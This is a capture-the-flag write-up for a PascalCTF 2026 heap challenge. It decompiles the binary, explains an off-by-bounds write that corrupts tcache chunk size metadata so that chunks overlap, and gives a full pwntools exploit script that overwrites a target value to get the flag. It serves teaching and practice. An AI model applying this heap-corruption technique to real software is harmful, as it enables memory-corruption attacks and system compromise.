Average Heap Challenge
Average Heap Challenge was a Medium Binary Exploitation challenge from PascalCTF 2026. It was the third pwn challenge of the competition.
Average Heap Challenge was a Medium Binary Exploitation challenge from PascalCTF 2026. It was the third pwn challenge of the competition.
Reversing
After putting the average binary into ghidra, and disassembling main, I got the following code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
void main(void)
{
int iVar1;
setup_chall();
LAB_00100c76:
while( true ) {
print_menu();
iVar1 = read_int(1,5);
if (iVar1 != 5) break;
check_target();
}
if (iVar1 < 6) {
if (iVar1 == 4) {
puts("Exiting...");
/* WARNING: Subroutine does not return */
exit(0);
}
if (4 < iVar1) goto LAB_00100cf4;
if (iVar1 == 3) {
print_players();
goto LAB_00100c76;
}
if (iVar1 < 4) {
if (iVar1 == 1) {
create_player();
}
else {
if (iVar1 != 2) goto LAB_00100cf4;
delete_player();
}
goto LAB_00100c76;
}
}
LAB_00100cf4:
puts("Invalid choice!");
goto LAB_00100c76;
}
Exploit Analysis
When the binary is started, the setup_chall() function is called.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
void setup_chall(void)
{
long lVar1;
void *pvVar2;
long in_FS_OFFSET;
int local_18;
int local_14;
lVar1 = *(long *)(in_FS_OFFSET + 0x28);
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stdin,(char *)0x0,2,0);
setvbuf(stderr,(char *)0x0,2,0);
for (local_18 = 0; local_18 < 5; local_18 = local_18 + 1) {
pvVar2 = malloc(0x48);
*(void **)(players + (long)local_18 * 8) = pvVar2;
}
for (local_14 = 4; -1 < local_14; local_14 = local_14 + -1) {
free(*(void **)(players + (long)local_14 * 8));
*(undefined8 *)(players + (long)local_14 * 8) = 0;
}
target = (undefined8 *)malloc(8);
*target = 0xbabebabebabebabe;
if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
This setup function allocates 5 different buffers (representing each possible player with the max being 5) on the heap with each size 0x48. These buffers are then all freed, placing their addresses into the tcache, which is used to cache freed buffers under the size of 1032. The tcache uses bins to store similar collections of freed addresses, grouping by size. Size is always rounded up the the max value of the corresponding tcache bin by malloc before the chunk is even allocated. malloc() regularly allocates more than neccesary, but it will never allocate less than neccesary.
After freeing these player chunks for later use, the program allocates a target buffer of 8 bytes on the heap. This will be stored right after all of the freed chunks, seperating them from the Wilderness. The goal of this challenge seems to be to overwrite the data at the target buffer with the hex string 0xDEADBEEFCAFEBABE. This is calculated by using two’s complement on the long negative number seen in the check_target() function which is called by main() when the user selects option 5.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void check_target(void)
{
long lVar1;
char *pcVar2;
long in_FS_OFFSET;
lVar1 = *(long *)(in_FS_OFFSET + 0x28);
if (*target == -0x2152411035014542) {
puts("I see you know your way around this stuff, here\'s a flag!");
pcVar2 = getenv("FLAG");
if (pcVar2 == (char *)0x0) {
puts("Something went enormously wrong...");
}
else {
pcVar2 = getenv("FLAG");
puts(pcVar2);
}
}
else {
puts("Target value not matched. Retry.");
}
if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
The next thing of interest which I reviewed was the create_player() function.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
void create_player(void)
{
long lVar1;
uint uVar2;
int iVar3;
void *pvVar4;
long in_FS_OFFSET;
int local_28;
lVar1 = *(long *)(in_FS_OFFSET + 0x28);
if (player_count < 5) {
printf("Choose an index (0-4) to create the player at: ");
uVar2 = read_int(0,4);
if (*(long *)(players + (long)(int)uVar2 * 8) == 0) {
printf("The default name length is 32 characters, how many more do you need? ");
iVar3 = read_int(0,0x20);
pvVar4 = malloc((long)iVar3 + 0x48);
local_28 = read_name(pvVar4,iVar3);
if (local_28 <= iVar3 + 0x1f) {
local_28 = iVar3 + 0x20;
}
read_message((long)local_28 + (long)pvVar4);
*(void **)(players + (long)(int)uVar2 * 8) = pvVar4;
*(int *)(extra_lengths + (long)(int)uVar2 * 4) = local_28 + -0x20;
player_count = player_count + 1;
printf("Created player at index %d\n",(ulong)uVar2);
}
else {
puts("Player already exists at this index!");
}
}
else {
puts("Player limit reached!");
}
if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
This function is responsible for reallocating the freed 5 player chunks from earlier with actual player data on user request. If the user selects 1, they will be prompted for the index of the player they want to create. There can only be a max of 5 players (indexes 0-4). After entering the player index, the user is prompted for any extra characters needed for the user’s name. This should be used if the user’s name is going to exceed 32 characters. Lastly, it prompts the user for the name itself and a message.
Let’s inspect the read_name() and read_message() functions now.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int read_name(char *param_1,int param_2)
{
size_t sVar1;
long in_FS_OFFSET;
char local_28 [24];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
printf("Enter name: ");
snprintf(local_28,0x10,"%%%ds",(ulong)(param_2 + 0x27));
__isoc23_scanf(local_28,param_1);
sVar1 = strlen(param_1);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return (int)sVar1 + 1;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int read_message(char *param_1)
{
long lVar1;
size_t sVar2;
long in_FS_OFFSET;
lVar1 = *(long *)(in_FS_OFFSET + 0x28);
printf("Enter message: ");
__isoc23_scanf(&DAT_00101616,param_1);
sVar2 = strlen(param_1);
if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return (int)sVar2 + 1;
}
We see something very interesting here. Earlier, it said the name length defaulted to 32, unless extra characters are requested. However, in the read_name() function, it sets the format string read length to 0x27, or 39 characters long. This gives us a 6 byte overwrite that we explicitly control without requesting any extra length (the last byte is used for a null byte). The total chunk size, exluding size metadata, for the player chunks is 72 bytes (0x48), but with a 39 byte write from read_name() (+1 byte when its returned), we get a 40 byte write from read_message(), leading to a total of 80 bytes. The last 8 bytes here will correspond to the size metadata of the next player chunk. Even with this overwrite, we can’t reach the overflow target from the fifth player chunk, which is right before it. We only have enough of an overwrite to influence the size chunk metadata of the next player chunk.
The size chunk metadata is stored in the 8 bytes before the start of the data of a chunk on the heap. It is used to determine how much data to free() and therefore, which tcache bin to put a chunk in. So, if we have influence over this, we can create a bigger player chunk than we are supposed too, possibly allocating the target chunk data as part of our player data.
At this point, you might be wondering why we don’t just request extra name characters which would give us an extra 32 bytes on top of what we already have, allowing us to overwrite the target chunk data?
Well, the function doesn’t exactly work like this, since requesting the extra data increases the size of our malloc() call, changing the tcache bin index that it would query for chunks, and since there are no chunks currently freed inside of the 0x70 tcache bin index (the next one after 0x50, the size of our player chunks), malloc() will allocate a new chunk after the target chunk where we want to overwrite. This is not very helpful considering we can only overwrite to chunks after a chunk using a heap overflow.
Size Metadata Overwrite
Something to note is that the size metadata of a chunk is only checked on free() when it is assigned a tcache bin (assuming its in the byte range). This means if the size metadata of a chunk is overwritten to something bigger, to actually allocate it, a chunk first has to be allocated from the bin it is currently in. Then it should be freed again (where the size bytes will be checked), putting the chunk into the tcache bin that matches the overwritten size. Allocating it a second time (this time from its new bin) will result in getting the larger allocated chunk we were aiming for.
But what do we overwrite the size metadata with, and for which chunk(s)?
Well, as I had just explained, to actually achieve the bigger chunk size we are aiming for, we need to allocate the chunk with the overwritten metadata as a regular player chunk, free it, and then allocate it from the larger bin (aka requesting a chunk of a larger size with malloc). The only way this program allows us to request a larger size from malloc is by requesting extra name data which would put us in the next tcache bin. So, this has to be the size we overwrite, and in total we’ll get 104 bytes (72 normal bytes + 32 added name bytes is already aligned; not including size metadata). We can see that overwriting the 5th chunk’s size with 0x70 (104 + 8 bytes for size), will result in grouping in the target chunk’s size metadata and actual data (which would in total be 16 bytes after the end of our fifth player chunk). When allocating an extra 32 bytes, the program also allows us to write an extra 32 bytes, giving us a total objective write of (40+40)+32=112 bytes. We don’t even need a write this big, since the target data would be at offset 80, and take up a total space of 8 bytes. This means we just have to write 71 characters for the name (this will be pushed up to a 72 offset for message on the return +1); a starting 8 characters for the message to fill up the size metadata of the target chunk; and then our actual overwrite hexadecimal (0xDEADBEEFCAFEBABE). So, we only actually needed a total objective write of 88 bytes.
Final Strategy Layout
- Allocate the first three player chunks within normal bounds (not exceeding 72 bytes).
- Allocate the fourth player chunk escaping normal bounds to overwrite the size metadata of the fifth freed player chunk.
- Allocate the fifth player chunk within normal bounds to remove it from tcache index 0x50.
- Free the fifth player chunk to place it in the tcache bin corresponding to its overwritten size (0x70).
- Allocate the fifth player chunk, requesting a higher byte amount so a larger chunk is returned to us in the same place the fifth player chunk was, allowing an overlap between the fifth player chunk and the target chunk.
- In the previous step, make sure to write 80 bytes of junk before writing the replacement payload.
- Call the check_target() function to get the flag.
Exploit
The delete_player() function frees player chunks, and it is called with option 2. So we will be using that to execute step 4.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
context.log_level = 'debug'
elf = ELF('average')
p = process(elf.path)
p.sendlineafter(">", "1")
p.sendlineafter(":", "0")
p.sendlineafter("?", "0")
p.sendlineafter("name:", b'A' * 39)
p.sendlineafter("message:", b'A' * 32)
# create first player within the bounds of the allocated space (max size 72)
p.sendlineafter(">", "1")
p.sendlineafter(":", "1")
p.sendlineafter("?", "0")
p.sendlineafter("name:", b'A' * 39)
p.sendlineafter("message:", b'A' * 32)
# create second player within the bounds of the allocated space (max size 72)
p.sendlineafter(">", "1")
p.sendlineafter(":", "2")
p.sendlineafter("?", "0")
p.sendlineafter("name:", b'A' * 39)
p.sendlineafter("message:", b'A' * 32)
# create third player within the bounds of the allocated space (max size 72)
p.sendlineafter(">", "1")
p.sendlineafter(":", "3")
p.sendlineafter("?", "0")
p.sendlineafter("name:", b'A' * 39)
p.sendlineafter("message:", b'A' * 32 + b'\x70') # edit the size of the fifth player chunk which is currently freed (it's still in the tcache bin index for 0x50 for now)
# create fourth player within the bounds of the allocated space (max size 72)
p.sendlineafter(">", "1")
p.sendlineafter(":", "4")
p.sendlineafter("?", "0")
p.sendlineafter("name:", b'A' * 39)
p.sendlineafter("message:", b'A' * 32)
# create fifth player player chunk (this is to remove it from its current tcache bin index)
p.sendlineafter(">", "2")
p.sendlineafter("from:", "4")
# free the fifth player chunk, this will check the edited size (0x70) and place this freed chunk in that new tcache bin index
p.sendlineafter(">", "1")
p.sendlineafter("at:", "4")
p.sendlineafter("need?", "32")
p.sendlineafter("name:", b"A"*71)
p.sendlineafter("message:", b'A' * 8 + p64(0xDEADBEEFCAFEBABE))
# write into the target chunk by allocating a chunk of size 96 (at tcache bin index 0x70) and then writing 80 bytes in (this overlaps with the target chunk)
p.sendlineafter(">", "5")
p.interactive()
Running this pwntools script will successfully print the FLAG environment variable if it is set in your local environment.
Conclusion
I had to rush through a lot of fundamental heap exploitation topics here to finish writing this in a reasonable amount of time. If you want to learn more about basic heap/tcache exploitation, I highly recommend the pwn.college Yellow Belt curriculum for Dynamic Allocator Exploitation. It walks you through all of beginner tcache exploitation including the topics covered here. I also talk more about tcache in my picoCTF heap 3 writeup.